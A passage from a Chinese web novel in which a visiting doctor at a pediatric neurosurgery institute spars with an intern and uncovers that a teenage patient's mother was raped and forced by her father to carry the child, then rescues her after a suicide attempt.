她用最无辜的脸告着最狠的状。 奚阳华:“……” *&%¥#!! 这人怎么这样! 舒映阶果然皱眉,“和我一起?” 奚阳华连忙解释,“您别误会,我只是随口一说,我不是说……” 舒映阶道:“也可以,我对面的桌子一直没人用,既然办公室没位置,你就先坐过去吧。” 南栀礼貌道谢。 奚阳华:“……” 舒教授答应了?! 啊?? 奚阳华拉住沈玫,“这丫头在扮猪吃老虎吧?” 沈玫不太想和没脑子的奚阳华说话,不过她还是尽量耐心道:“南栀还是很单纯的,她不会待很久,你别和她置气。” 奚阳华一句都听不进去,“她单纯?她分明就是有心机,她腹黑!装成无辜的样子,其实心眼都黑透了!背后告状!” 沈玫无奈地摇头。 奚阳华的性格迟早要吃亏的。 南栀拥有了属于自己的办公桌,就在舒映阶的办公室。 刚和他们一起去住院部的主治医生得知这一消息,都朝南栀露出同情的目光。 “这姑娘……完了!” 这么多年没人敢和舒映阶待在同一个办公室。 南栀倒是蛮自在的。 她没什么东西,收拾好工位便回到住院部,舒映阶看起来也不像是会下班的样子。 南栀刚刚看到好几个患儿的病历比较特殊,想再去找找检查报告。 护士们很欢迎南栀,偶尔医生不在,他们找不到人也很麻烦。 小宁护士就跟着南栀又转了一整圈。 “你们还真是辛苦诶,刚刚跟着舒教授过来,现在又要自己来,幸好我只是护士,不然肯定受不了。”小宁问,“你是刚调来的吗,以前好像没见过你。” 南栀解释道:“我是来进修学习的。” 话音刚落,奚阳华就喊道:“喂。” 他下班前不放心,总觉得南栀会背着他努力,回来看了一眼,她果然没乖乖回宿舍。 要不说住宿舍有好处,还能偷偷学! 奚阳华大步走过来,“你怎么没走?” 南栀左右看看,问小宁,“咱们这里有叫‘喂’的吗?” 小宁同款疑惑脸,“没有诶,实习生搞错了吧。” 奚阳华:“……” 她不仅会装傻,还会带着其他人一起装傻。 奚阳华握紧拳头,指甲都快把肉皮掀开了,他都没放松。 “我是问你,下班了为什么不回宿舍。” 南栀恍然大悟,“是在叫我啊。” “废话……” 南栀:“你真没礼貌。” 小宁跟着说:“太没礼貌了,要叫南医生,现在的实习生怎么回事哦?” 实习生奚阳华:“……” 他怎么还比南栀低一级了?? 南栀说:“不过我很大度,可以原谅你。” 小宁说:“你人真好。” 奚阳华捂住耳朵,以免自己被气死。 “你到底过来干嘛?” “来帮帮忙喽,”南栀说,“我刚才过来看到护士们忙不过来,而且像郑岩这种,一个人照顾小椎也有些费心。” 听到小椎的名字,小宁道:“这个孩子挺惨的,我刚听那个爷爷跟人家抱怨说女儿不要孩子了。” 奚阳华奇怪道:“自己生的孩子,为什么不要?” 小宁低声道:“小椎的妈妈好像才16岁。” 南栀吓了一跳,下意识在心里盘算这刑不刑。 她16岁时还在玛卡巴卡呢。 奚阳华却很嫌弃,“才16?念完初中了吗?肯定没上高中吧?16岁就着急嫁人,这辈子都完了,男方家里有钱?” “哪有啊,好像是被抛弃了,根本不要他们娘俩。具体的我也不清楚,就听见这么几句。” 奚阳华频频摇头,“怎么想的?在首都上学生活,竟然还能16岁生孩子,对自己不负责,对孩子也不负责,这种人就该被抓进大牢里关起来。” 南栀道:“孩子他爸呢,他也不管孩子。” 奚阳华理所当然道:“他都不见得知道孩子的存在,他对孩子的去留没有决定权。” 南栀“啪啪啪”鼓掌。 奚阳华:“?” “男人给男人找借口的功力果然一级棒!”南栀叮嘱小宁,“看到没,咱们给女孩子找借口时也要积极一些!” 小宁本来没觉得有什么,听南栀这么一说,也不乐意了,“怎么只要做妈妈的负责任,当爸爸的就可以不被指责?” 奚阳华道:“生孩子的是妈妈,男人还能强行带着女人去打胎?” 小宁:“这……” 她看向南栀。 南栀更惊讶了,“原来女人怀孕可以不需要男人的精子!雌雄同体?自我繁殖?哇,这是人类的新课题诶,你好厉害,什么都能发现!” 小宁反应迅速,“对啊!难道不是他们先有性行为,才有孩子的吗?他怎么不管好自己!” 奚阳华:“……,我不和你们不讲理地讨论这些。” 南栀和小宁大声蛐蛐,“看到没,只要说不过就开始躲了,一会儿说不定还得说咱态度有问题。” 小宁说:“没想到实习生好过分,我得提醒护士小姐妹,千万不能被他的外表骗了,要离他远远的。” 奚阳华:“……” 此刻的他只想点一根烟在漆黑的夜里思考人生。 南栀还是担心郑岩一个人忙不过来的,毕竟孩子的身体更重要。 她和小宁一起去小椎的病房,正巧郑岩气呼呼地回来,他刚把小椎交给隔壁床患儿的妈妈,自己打电话去了。 “我真不明白这些孩子的责任心都去哪儿了,生下来就得好好养着,我有六个孩子,家里再困难,我都没想过把孩子丢了!她怎么就不能接受?!” 隔壁床的家属笑道:“你女儿还小,以后她就明白了,要给她时间。咱们做父母的,不就是给孩子帮忙的吗。” 郑岩身上还有烟味,他处理好衣服上落的烟灰才进病房,“唉,我这把老骨头,不知道还能坚持多久,这孩子以后怎么办?” 小宁道:“您需要帮忙叫我们就好,做完手术后,缺血的情况应该会缓解。” 但开颅毕竟是大手术,郑岩还是没法安心。 南栀问:“小椎的妈妈还在上学吗?” 郑岩苦笑,“孩子都生了,还上什么学?去理发店当学工了,三天打鱼两天晒网,这都是我托人给她找的工作,她初中毕业证都没拿到,想去厂里,人家也不要她啊。” “她不来照顾孩子,每天都去理发店?” “说是去了,但店长说她经常迟到早退,我把好话都说尽了,人家才答应让她留一留。” 听起来确实是个不让人省心的孩子。 南栀还是不能理解,“您怎么同意让她生孩子了呢?” “不生怎么办,还能打掉?”郑岩连连摇头,“这是作孽,孩子虽然还没出生,但始终是个生命,这种事我做不来。” 其余几个家属也都赞同,大家的想法还很保守。 南栀给小椎测了体温,又和小宁一起帮郑岩给孩子处理尿布。 刚去康宁医院时,南栀完全无法接受尿布,她看到纸尿裤都想躲得远远的,现在接受度已经很高了。 只有奚阳华一个人在旁边站着。 南栀问小宁,“他不来帮忙,过来干嘛?” 小宁说:“还在实习嘛,可能想博个好名声。” “那得来干活呀!” 哪有光看就能把好名声拿到手的。 奚阳华忍着没作呕,他解释道:“这东西我洗不来,这是女人的活儿吧?” 南栀和小宁一起看向奚阳华。 奚阳华有种不好的预感。 果不其然—— 南栀:“孩子是两个人一起**生出来的,妈妈受罪,洗尿布还得是妈妈的活儿。” 小宁:“唉,当女人真惨哦,要生孩子,要洗尿布,还得出来上班。还是当男人好,光上班就行了。” 奚阳华:“……男人是要养家的。” 小宁道:“我们医院的女医生也不少,怎么,她们的工资可以全都自己吃喝玩乐吗?” 南栀劝道:“别和他计较了,都一样,没救了的。” 奚阳华:“……” 他气呼呼推开小 宁和南栀,“洗就洗!不就是洗个尿布吗?谁不会!” 南栀擦干净手,“洗得干净点哦。” 小宁还有点儿担心,但被南栀一同拉走,“反正他要洗。” 小宁便给奚阳华加油助威,“都靠你了!洗尿布的神!” 奚阳华搓尿布的动作更加卖力。 南栀:“……” 他虽然讨厌,但感觉将来会被老婆狠狠拿捏哦? 一直到晚上九点钟,南栀闲来无事就留在办公室里看免费的期刊——宿舍不包水电。 九点多,舒映阶回了办公室一趟,见南栀还在,多看了她两眼,但没说什么。 南栀不走,奚阳华也不想下班,和值班的医生一起留在办公室奋发图强。 值班的医生只想做个咸鱼,“我们巴不得能早点下班,你倒好,还主动加班?” 这辈子没见过这么蠢的人。 奚阳华道:“我要做最优秀的神外医生。” “兄弟,做一个好的医生就不错了,”值班医生语重心长道,“要做最优秀的,那是不可能的,需要天赋,只有舒教授这种,才能做最优秀的医生。你知道舒教授的天赋有多好吗?” 奚阳华摇头。 他的天赋也不错啊,理科特别好,成绩也很好,经常考第一名。 第一次上解剖课没呕吐。 明明已经赢过绝大多数人。 值班医生说:“你知道咱们舒教授是什么背景吗?她以前是地主家里的丫鬟,陪小姐一起去国外留学,那会儿有钱人家的孩子经常去国外留学嘛。在语言不通的异国他乡,舒教授自学医学,回国后开始参与工作,就靠这点儿自学的东西,硬是将医科大学的学生都比下去了,这就是天赋!” 奚阳华莫名其妙地想到南栀,这家伙也没学历。 但她和舒教授可不一样,舒教授是普通人能比的吗? “再说说开刀,舒教授和陆教授那堪称是开辟了国内的小儿外科啊,当时这个领域在国内是空白的,想找人学习都没地方学,这俩人就凭着努力和过人的胆识慢慢探索,这开刀水平,谁看了不夸几句,说实话,我是能吃饱就不想奋斗了,但我都想给舒教授当助手。” 奚阳华很委屈。 他也想给舒教授当助手,但目前为止只跟过几台手术。 作为学生,还没能当上三助,只能在旁边看着。 术中舒教授倒是会教学,能学到一些。 奚阳华道:“我一定也能做好手术。” “还没上班的时候,我们都这样想,但真正有天赋的能有几个人?咱们得认命,咱们……哎,我想起来一个人。” 奚阳华看过去。 “我在《孙晔》上看到的,这杂志比咱们院里的杂志权威多了,有一个小地方的医生,发表过好几篇论文,隔段时间就会登他的文章,看起来是真牛。” 奚阳华前段时间学业繁重,还没来得及看其他杂志。 他一心做小儿神外的医生,只关注这一领域。 “叫什么我忘了,印象特别深的就是他来自一个地方的小医院,能上那本杂志的文章,要么来自大城市,要么来自出名的大医院,这种可真不多。” 奚阳华原本没放在心上,直到值班医生冥思苦想,终于想到对方来自哪里。 “临川市!就是临川市!挺偏僻的一个小城市,按理说医院都没什么先进设备,我记得特别清楚,这家医院名声一般,但设备特别全!院长有抱负!” 奚阳华慢吞吞地放下手中的资料,神色古怪地问道:“确定是临川市?” “当然确定,不信你自己去看!” * 十点钟是南栀不上夜班时的休息时间,她收起杂志,关好办公室的灯准备离开。 舒映阶神出鬼没,南栀刚关上门,她就不知道从哪里冒了出来,“留在办公室干什么?” 幸好南栀对其他事的反应速度很慢,还没来得及害怕,就认出舒映阶。 南栀老老实实交代,“留在办公室看书可以节省电费。” 舒映阶:“……” 她以为她应该听到一番有关认真奋斗的高谈阔论。 舒映阶意味深长道:“一个人留在办公室,我的资料可不保险。” 南栀下意识回道:“我不会乱动您的东西的。” 舒映阶面无表情地看着她。 南栀:“……” 不对啊,不对劲啊。 陆教授、祁院长、舒教授……这些人的反应都不对劲啊?! 南栀道:“谢谢舒教授。” 舒映阶转身离开。 脱下白大褂后,她的精气神不如平时,好像又变回一个已经弯腰驼背的普通老太太。 但她还在尽量维持体面,发型一丝不苟、衣服干干净净,就算走路慢,也坦然自若。 舒教授和陆教授的关系当真不好? 回宿舍前,南栀又去住院部转了一圈,小宁说今天的突发情况比较多,住院医生忙不过来。 南栀虽然才开始专注神外,但她念书时的底子还在,只是缺少些经验,能帮着解决最基本的问题。 护士站没有人,不知道她们又去哪里忙了。 南栀挨个病房看了一遍,在这边查房可比在康宁医院查房累得多,康宁医院根本没几间儿科的病房。 转一圈回来,南栀余光看到一个身影走进一间病房。 儿研所对陪护家属的数量、时间没有特别要求,这个点有人进去并不奇怪,但奇怪的是,南栀刚刚一点儿声音都没听到。 在空旷的走廊里走路、开门、关门,再怎么说,也不会一点儿动静都没有的。 除非对方很小心,很谨慎,就怕被别人听见。 南栀朝病房走去,是小椎在的病房。 病房已经关了灯,孩子、家长们都在休息,南栀趴在门的小窗户前,在黑暗中看到一个女人的轮廓。 她正在接近最里面的病床,是小椎的位置。 南栀看到她绕开地上的陪护床,双手伸向小椎。 她以为女人是要将小椎抱起来,但这双手却伸向了敏感的部位,女人两手按住小椎的脖子。 南栀的呼吸在瞬间停止,她迅速推开门,用最凶的声音呵斥道:“你在做什么?!” 陪护床上的家长们惊恐地坐起来。 南栀拉动电灯的绳子,病房再次亮起来。 一个女孩站在靠窗的位置,两手还停在小椎的脖子上。 郑岩最后迷迷糊糊地坐起来,看到女孩后愣住。 女孩收回手,看看郑岩又看看南栀,沿着墙壁跌跌撞撞向外跑去。 南栀拦住她,郑岩却走过来和女孩拉扯,没两下女孩便挣脱开,朝楼下逃去。 南栀想联系儿研所的保安。 真正的保安,不是他们医院手艺优秀的大厨们。 郑岩苦恼道:“还是算了,再闹下去,大家都休息不好,我们小椎还等着手术。” 小宁几人听到叫喊声跑过来,忙着安抚家属。 南栀把小宁拉到一旁,“郑岩的反应好奇怪。” “我家的孩子被偷袭,我肯定得把人抓住,不然晚上睡觉都不安心。” “不止如此,女孩看到郑岩时,两人明显是认识的,你说她会不会是……” 南栀不敢继续往下想。 小宁道:“不会吧,谁会想杀掉自己的孩子?她就这么恨小椎?但是她把孩子生出来的,和小椎无关啊。” 南栀也说不好,她总觉得这一家人的相处奇奇怪怪的。 “这件事还是得和门卫保安说一声,不然她再折回来怎么办?” 小宁点头,“我们这边有流程,你放心。” 小椎不知道刚刚发生什么,很快就被郑岩哄睡着。 其他孩子也陆陆续续睡了,只有家长们惊魂未定,谁都不敢再睡得太熟。 尤其是郑岩,他索性把陪护床收起来,直接躺在小椎旁边,小椎还不到一岁,占不了多大的位置,郑岩是怕压到他的头,才没敢睡一起。 南栀离开住院楼时还在想刚才的女孩。 她的年纪很小,看起来还没成年,看到 南栀时目光惶恐。 她是奔着小椎来的,她想把他掐死,下手不轻。 如果南栀没来这一趟,小椎大概真的会出事。 可为什么呢? 住院楼和宿舍楼的距离比较远,路灯基本上都没开,中间还有一个人工湖。 白天人工湖附近是病人散步的好地方,周围都有围栏,但到了晚上,这里就伸手不见五指了。 穿过人工湖是最近的一条路,南栀闷头往前走。 还没走到一半,她便听到“扑通”一声,接着又听到有人喊道:“她落水了!有人跳湖了!” 南栀看到湖面上的涟漪,还有往岸边跑的人,南栀也朝落水的方向跑去,那边才有能往湖边走的小门。 有人跑进大楼叫人。 南栀不知道湖水深几米,但从白天的状态来看,水下可见度不高。 保安匆匆跑来,是个四十多岁的男人,听说有人落水就要往下跳。 南栀赶紧说:“有绳子或者救生圈吗?下水前保护自己。” 她是铁了心要寻死,一点儿都不折腾,还湖面上已经看不到水花。 周围人张罗着找来绳子,南栀帮保安大哥系好,又扯来一根新绳子绑在自己腰上。 两人拿着手电筒,一起下水找人。 水下能见度果然低,湖水很脏,还有杂草。 听说以前这湖就出过事,所以才有围栏,还有警示语。 可这救不了一心寻思的人。 这种事再有几次,这湖估计就要填上了。 保安大哥在前,南栀在后,两人睁着眼睛在水下找人。 如果她能全身放松,其实是会慢慢浮到水面上的,只是落水的人都很紧张,一直扑腾,还会不断下沉。 南栀着重找水面,果然在五米之外看到一个人影。 她朝保安大哥比画着,两人一起向落水者游去。 拖着她上岸前,南栀瞥了眼她的脸,是在病房里试图掐死小椎的女孩。 这一家人真是怪了。 两人把女孩拖到岸边,岸边早已站满人,大家七手八脚地把三人拉上去。 稀稀拉拉的掌声响起,慢慢地越来越整齐。 女孩已经昏迷。 南栀跪在女孩身边给她做心肺复苏和人工呼吸。 幸好她是在医院跳湖,急救中心的医生护士很快赶到,将女孩带走。 南栀自然也是要过去的。 她拉着保安大哥一起去急救中心。 大哥摆手道:“我没事,用不着。” 有人打趣道:“大功一件,得让医院给奖金。” “工资得提一点儿吧?” 紧张的环节过去,大家都笑起来。 南栀解释道:“你刚刚也下水了,湖水不太干净,一起过去处理一下吧。” 大哥这才打量起南栀来。 刚刚他们一起下水时他就注意到了,南栀游泳的速度一点儿都不比他慢,而且耐力很好。 看她细胳膊细腿的,真看不出来力气还挺大。 南栀道:“我是来学习的医生,跟我走吧。” 大哥恍然大悟,原来是医生啊,看着就专业! 急救那边不知道女孩的身份,南栀把刚才在病房发生的事和盘托出。 在郑岩赶过来前,南栀在急救中心看到女孩。 她已经醒了,虚弱地躺在病床上。 南栀给她接了温水,又把她的衣服交给她,“需要帮你送去洗吗?出院的话可能要穿。” 女孩看向南栀,“是你救了我?” 南栀道:“我知道你不想活了,也不奢望你感谢我,我只想知道,你和小椎是什么关系,为什么不想让他活?” 女孩一言不发,良久,她闭上眼睛,道:“我就是不想要他。” * 郑岩得知女孩出事,脸色瞬间惨白。 他急忙把孩子交给护士,然后往急诊的病房跑。 “您是落水的郑媛媛的家属?” 郑岩道:“我是她爸,唉,这孩子,真不让人省心,遇到什么事了非得跳一次湖?” 护士道:“您得多劝劝,今天是运气好,附近正好有人,哪天她跑去没人的地方怎么办?人就救不过来了。” 郑岩惭愧道:“孩子太任性了,给你们添麻烦了,我叫家里人来把她带走,你们放心。” “多大的事非得跳湖?年纪轻轻的,好日子还没来呢。” “还不就是生孩子的事吗,她不想当妈。” 护士将郑岩带到郑媛媛的病房。 郑媛媛一看到郑岩,就转过身去,似乎不愿和他交流。 郑岩无奈道:“您看,孩子大了,管不了了。” 护士道:“媛媛,你爸爸来看你了,不管遇到多大的坎儿,想想爸妈,没什么过不去的。” 南栀听得直皱眉。 郑媛媛背对着郑岩流眼泪。 见郑媛媛难受,南栀心里也不舒服,她看向郑岩,问道:“媛媛自杀的原因你不知道吗?” 护士茫然地看过来。 南栀说:“就是让媛媛多想一想父母,她才更想自尽吧?” 护士看向郑岩。 郑岩拧了下眉,挤出笑容,“我不太明白你想说什么。” 南栀道:“媛媛不想生孩子,是你逼她生的,她发现怀孕时,完全可以打掉。” “孩子既然来了,那就是一条人命,怎么能轻易打掉?这和杀人有什么区别?换作是你,忍心看着无辜的小生命离开吗?”郑岩道,“你还年轻,不懂这些,等你到我这个年纪,就会明白了。” “可媛媛不是……” 南栀看向郑媛媛,想说的话到底是没能说出口。 有些话说了,对她不太好。 南栀只好说:“这边您别管了,去看小椎吧,媛媛现在情绪还不稳定,不想看到你。” 郑岩:“她是我女儿,照顾小椎是她的责任,我已经帮她承担这部分责任,怎么反倒像是我欠了她?” 病房内诡异地安静下来。 挂在墙上的时钟挪动着笨重的指针,秒针走了三四步,郑媛媛忽然爆发出怒吼声:“是我的责任吗?是他强迫我的!是你不让我报警!是你一定要我生下来,凭什么是我的责任?!” 第76章 第76章过去一点儿事 郑媛媛被带到急诊室后,一直安静地躺在床上,护士询问她从哪里来,她也不作声。 她裹紧被子,好像在看窗外,眼底却没有光彩。 郑媛媛的突然爆发,惊动了所有人。 隔壁床的患者还在吸氧,都往这边看过来。 郑媛媛浑身发抖,一字一句地控诉,“是你不让我报警,你让我把孩子生下来。” 她一直重复这两句话。 十月怀胎,小椎才十个月大。 满打满算,事情发生在一年八个月以前,郑媛媛刚满十四岁。 首都是六三制,她刚念初中。 郑媛媛的成绩还不错,她还有几个姐姐哥哥,是家里最小的孩子。 成绩好、年纪小,郑媛媛可以说是被捧在手心里长大的。 那天她和朋友约好一起去文具店买学习用品,郑岩给了她两块钱。 两块钱对郑媛媛来说可是巨款,能买好些东西,还能买点儿小零食。 她还豪气地请朋友喝了汽水,回家时拿着高高兴兴地咬着吸管。 然后就被人盯上了。 郑媛媛没见过他,对他的容貌也没太多印象,只记得他臭烘烘的,很恐怖。 她挣扎,他便狠狠地打她,她浑身上下都在痛,都分不清具体是哪里在痛。 郑媛媛哭着回到家,在妈妈惊恐的目光下,她慢慢意识到发生了什么。 姐姐是大学生,受过教育的,她把郑媛媛叫到房间里谈心。 姐姐劝她报警。 现在去报警,警察去抓人,还能把人找到。 还有验伤那一套,郑媛媛都不懂,姐姐想带她去医院。 郑岩堵着大门不让她们走。 “我们老郑家清清白白一辈子,不能被媛媛毁了,你们去报警,事情闹开,以后媛媛怎么做人,我们怎么做人?!” 在郑家,郑岩说了算。 郑岩强势阻拦,郑媛媛只能在家里洗了个澡。 家里有澡盆,但不太方便,姐姐和妈妈帮她烧水倒水,然后告诉她,洗完澡,一切就都过去了。 事情显然没有过去,姐姐想报警,郑岩不想“丢人”,全家人都没想起来给郑媛媛买避孕药。 一个月后,郑媛媛开始不舒服,但她不知道发生什么。 两个月后,她的例假还没来,她13岁时就开始来了,很准时。 郑媛媛也不太明白这意味着什么,上生物课时,她偶然多嘴问了一句,生物老师的回答让她脸都白了。 郑媛媛又偷偷找到姐姐,姐姐打算带她去医院检查,然后打掉孩子。 这次她们又一次被郑岩拦住。 郑岩说他不杀生,他说做人要善良。 如果真怀孕了,就是鲜活的生命,打胎就是在杀人。 郑岩开始张罗着给郑媛媛找老公。 郑媛媛很害怕,她还在上学,现在就要嫁人生子,还能继续上学吗?她想和姐姐一样考上大学。 家里闹了很久,姐姐质问郑岩不是怕丢人吗,郑岩说,和生命比起来,丢人不算什么。 接盘的人没找到,郑岩甚至又想去找曾经侵犯过郑媛媛的人,还好那个人也消失了。 孩子就这么生了下来,最开始他们对外称是郑岩的妻子又怀孕生子。 后来孩子病了,郑岩不得不带孩子来医院检查,最开始也说是儿子,后来实在瞒不住,才说了实话。 二十个月,郑媛媛一下子从孩子变成大人。 她一遍又一遍地重复那两句话。 跟郑岩一起来的护士下意识往后走了两步,与郑岩保持距离。 “当时应该报警的,”她尴尬道,“这是犯罪行为,是违法的,怎么能不报警呢?” 郑岩沉着脸说:“报了警,叫人家说闲话,说我们家姑娘在外面勾引人,她以后怎么嫁人?” “哪有这么说的……” 郑岩道:“我都活了多少年了,外面会怎么传,我能不知道?” 郑媛媛用被子埋住头。 南栀问:“所以你的意思是你没有错?” “我是为媛媛考虑,是为整个家考虑!” 南栀道:“你不愿意报警,也没有给郑媛媛准备避孕药,没有给她正确的引导,害得她怀孕。你多次违背郑媛媛的意愿,强迫她留下孩子,改变她的人生轨迹,这不是为她考虑,这是为你的面子考虑。” “就是啊,太不应该了,郑媛媛才几岁?哪能直接当妈了?这孩子一辈子都完了。” “唉,我们主任都和我们说过,如果遇到这种情况,一定要报警,还要留证据,怎么做父母的还会看着孩子受委屈?” “本来是**犯的错,现在好了,孩子生出来了,一辈子都甩不掉了。” 南栀又道:“你还多次和我们说女儿不想照顾孩子,这是你强迫她生的,小椎是你的责任,你照顾小椎是应该的。” 她走到郑媛媛身边,“其实你可以回学校继续上学的,你当时没有办理退学手续吧?不想照顾就不照顾,不要有负担。” 郑媛媛面如死灰,毫无反应。 事情过去这么久,南栀几句话很难让她燃起希望。 南栀只能和护士商量,先把郑媛媛留一留,别放走,现在把人放走了,她可能还会选择自杀。 郑岩跟南栀一起走出来。 南栀问:“今天郑媛媛打算掐死小椎,你看见了吗?” 郑岩点头。 “小椎的存在让她很有压力,压力大到想用轻生来结束一切,即便如此,你也认为你的选择没错?” 郑岩问:“你是医生,你面对生命,能看着他走吗?” 南栀说:“在孩子出生前,在五个月以前,谈不上生命,我国堕胎也不犯法。你只不过是沾了做家长的光,郑媛媛不知道该怎么办,现在孩子生出来了,脑瘤,要开刀,这些都是你的责任,不是她的。” 郑岩显然听不进去这些。 南栀也不指望自己几句话就说动一个顽固的老年人。 南栀问:“你还想要这个女儿吗?还是打算牺牲她,留下小椎。” “她是我的孩子,我当然要她,”郑岩情绪激动,“我现在是为了谁照顾小椎?” 南栀道:“当然是为了你自己,是你珍惜小椎的生命,是你要郑媛媛把孩子生下来。” 郑岩:“……” “助纣为虐的也是你,郑媛媛想报警,你不同意,你放走了**犯,以后还不知道谁家姑娘会遇到他,这些当然都是你的责任。” 郑岩转身走向窗边,无话可说。 南栀说:“不过你的错也没有法律能制裁,你如果还想让郑媛媛活下去,最好换个方式。” 郑岩看向人工湖的方向。 从急诊其实看不到人工湖,人工湖离住院楼更近,急诊在门诊楼旁边。 但他好像能看到郑媛媛在水中缓缓下沉的画面。 南栀说:“我们去救她时,她没有任何挣扎,她是铁了心想死。” 郑岩缓缓转过身,“我能换什么方式?” 南栀道:“她想上学,就该继续去上学,把她送到其他城市,或者你带着小椎去其他城市,把她以前的生活环境还给她。” 郑岩道:“孩子毕竟是她生的……” “不管是谁生的,孩子都是你的责任,郑媛媛不想要,你就让小椎离她远点儿,为了让女儿活下去,很难办到吗?” 南栀看了眼墙上的钟表,道:“今天时间不早了,你慢慢考虑,小椎还得手术,郑媛媛的情况也不稳定,虽然事情很多很麻烦,不过这些都是你的责任,你慢慢处理吧。” 回宿舍前,南栀找到电话亭。 她特意买了一张电话卡,平时不太舍得用,不怎么打电话,但今天却主动打给箫珵。 这个时间也只能打给他了,黄春兰肯定已经休息。 幸好箫珵家里有装电话,他也不习惯那么早睡。 “所以他女儿被**了,他非但不去找**犯算账,还要女儿忍气吞声?怀孕了,还要把孩子生下来?他也配当爹?” 南栀很郁闷,嘀咕道:“我是想不明白,面子很重要吗?没生出来的孩子比女儿还重要吗?唉,怎么会有这种父亲。” 箫珵一怔。 南栀从没抱怨过父母,还总说对孩子不好的父母很少,箫珵一直在想她到底还记不记得小时候的事。 说不记得吧,他每次提到的话题,她都能接得上。 说记得,她好像对父母毫无怨恨。 有时候箫珵也看不懂南栀。 他怕南栀一直想这件事不开心,转移话题道:“你啊,还是该多想想怎么哄好舒教授,你去之前有查舒教授的资料吗?” 南栀只看过舒映阶的一些文章。 “我可好好查了,我就记得咱国家没那么早建立独立的小儿神外,一般都是神外的医生兼顾,结果还真是,全国只有一 个医院有小儿神外,那就是舒教授主张建立的,而且她专门攻克脑肿瘤,目前为止小儿神外的主要病种还是先天性畸形,像是肿瘤、癫痫、脑血管病,这几方面的研究少之又少,你离开儿研所,可就再也没有学习的机会了。” 箫珵想多给南栀找点儿事做,转移她的注意力。 这些南栀都查过了。 在她经历的世界,独立的小儿神外要在两千年后才出现。 南栀道:“或许是有些不同,其实康宁医院能做主动脉夹层的手术,也很不寻常啊。” 箫珵说:“这都靠我,我厉害,勉强再算一个陆随。” 南栀鼓掌,“哥你脸皮越来越厚了。” 按照阮乔的说法,就快赶上她了。 箫珵提溜着电话线问:“你就不想再问问别人?” “哦……陆随吗?”南栀心虚道,“他应该还好?” “是挺好,在那研究怎么读博呢,和以前差不多。” 南栀松口气。 箫珵笑眯眯地给亲妹妹提供信息,“不过他最近可不太喜欢说话,病人都找来了,说他难以接近,其实陆随还好吧?” 南栀慢吞吞拨弄着电话卡,假装和自己无关。 她心里还是很有愧疚感的,“我应该没做太出格的事吧?对不对?我好像没表现出来对他有兴趣?” 如果是她先释放信号,陆随接到信号才有想法,罪过可就大了。 箫珵说:“没有啊,你只不过是一有事就去找人家商量。没事送送汤,再顺嘴夸几句,哎,你怎么从来没夸过我手术做得好?” 南栀:“……” 完了完了,她造大孽了。 箫珵语重心长道:“陆随这人,我是很讨厌,不过人品还是有保证的,你如果真喜欢他,可以试试。” 南栀毛骨悚然,“谈恋爱吗?结婚?像爸爸妈妈那样?” 箫珵放下电话线,拧起眉,“爸妈是自由恋爱,虽然偶尔吵架,但还算正常夫妻,你怎么……” 电话亭不是密不透风的,晚风吹进来,南栀有点儿冷,她抱紧胳膊,茫然道:“是正常夫妻啊?” 箫珵问:“他们还有其他事?” “不太清楚……”南栀看了眼电话卡,“哥,我不跟你说了,我得回家了,马上又要到新的一分钟了!” 她迅速说完再见,抽出电话卡,然后松口气。 好险,差点儿又要多花一分钟的钱。 宿舍的条件看起来一般,但南栀住起来还觉得挺舒服的。 因为郑媛媛的事,南栀在医院耽误不少时间,一回去就睡了。 第二天南栀正式开始工作,她只有一个目标——陆教授人在哪,她就跟到哪儿! 陆嘉述一早又要查房。 其他科室是护士找不到医生,小儿神外是护士就怕看到医生。 郑岩正在给小椎喂奶。 小椎一早就不舒服,一直哭闹到现在,他出生后基本上没喝过母乳。 郑岩最开始给他喂小米粥,后来孩子生病,就想着给补补,但也只能再多喂点儿麦乳精。 这奶粉还是一个护士送给他的一小袋,小椎喝上就不松口了。 孩子挺可怜,郑媛媛也可怜。 陆嘉述道:“他的情况只能开刀,重量的重量不小,做好术前准备,明白吗?” 陆嘉述叮嘱郑岩时,南栀看到站在门口的郑媛媛。 她走向郑媛媛,问:“今天感觉怎么样?” 郑媛媛靠着门框,看着郑岩怀中的小椎,“我一直觉得他很可怕。” 南栀追着她的目光看去。 “好像,特别像,我一看到他就想到那个人。而且他好冷漠,我害怕看到他,不敢接触他。”郑媛媛轻声问道,“他们说他表现得冷漠是生病了,是真的吗?” 南栀听得难过,“是有关系的,但是你……” 郑媛媛说:“我是不是太坏了,我一看到他就想躲,我……我的同学还在上学呢。” 郑媛媛今年16岁,如果正常上学,应该是高一或者高二,再有两年就要参加高考。 16岁而已,还是个孩子,但南栀遇到她后,没从她身上看到一点儿孩子的样子。 她甚至不觉得和郑媛媛有年龄上的差距,郑媛媛就像个二十多岁的小姑娘。 这是南栀第一次听到她的哭腔,南栀才恍然想起郑媛媛的年纪。 南栀坚定道:“你想上学就可以去上学,你害怕小椎是正常的,如果你不想看到他,就可以不去见他。” 郑媛媛委屈道:“可以吗?他们说我做了妈妈,就要对孩子负责,我该怎么负责啊。” “这不是你自愿的,不是你的责任,你没有选择权,”南栀拉起郑媛媛的手,“我送你两本书吧,等你考上大学可以用哦。” 南栀想送给郑媛媛大学课本,让她有些盼望。 不过她手里只有医学方面的书,不见得有用。 南栀道:“恩……医学方面的书你肯定不喜欢看,我去研究研究最近的书店在哪,我买给你。” 郑媛媛看了南栀一会儿,轻声道:“医学课本也可以。” “恩?” 郑媛媛道:“你们好厉害,脑袋里长东西,都能切下来,是要把骨头都撬开吗?” 她眼底冒出些期待的光。 南栀立刻说道:“颅脑手术有很多工具的,你看了说不定会害怕,我第一次看到都很惊讶的!对了,骨科的工具更夸张,知道的是在给人做手术,不知道的以为谁家装修干活呢,等我在这里混熟了,你来找我,我带你去看!” 郑媛媛笑起来,“你刚来吗?” 南栀不好意思道:“我还没去过手术室呢。” 舒映阶几人走出来。 奚阳华见南栀和郑媛媛聊得开心,嘴先撇起来,他想损南栀几句,被沈玫掐了下腰。 沈玫低声道:“把你的脑子拿出来用用,安静会儿。” 奚阳华:“……” 还有人敢说他没脑子?! 舒映阶也没说南栀什么,只是把几个研究生和主治医生都叫到她的办公室。 “小儿神外的门诊,只有儿研所有,专门给孩子动脑子上的手术的,也只有我们。你们几个主治医生都是我精挑细选留下的,我知道有的人可能还有其他想法,都没关系,只要实力够,想去综合医院的,尽管去。富雅医院几个神外的专家,都是既能给成人动刀,又能给孩子动刀的。” 大家都低着头,气氛有点儿压抑。 只有南栀昂首挺胸,还敢和舒映阶对视。 沈玫拽了拽她。 南栀:“?” 沈玫:“……” 南栀:不知道啊,听教授说话不是要有礼貌点的吗? 舒映阶道:“谈谈你们的看法。” 奚阳华立刻表态,“我只想跟着您学。” 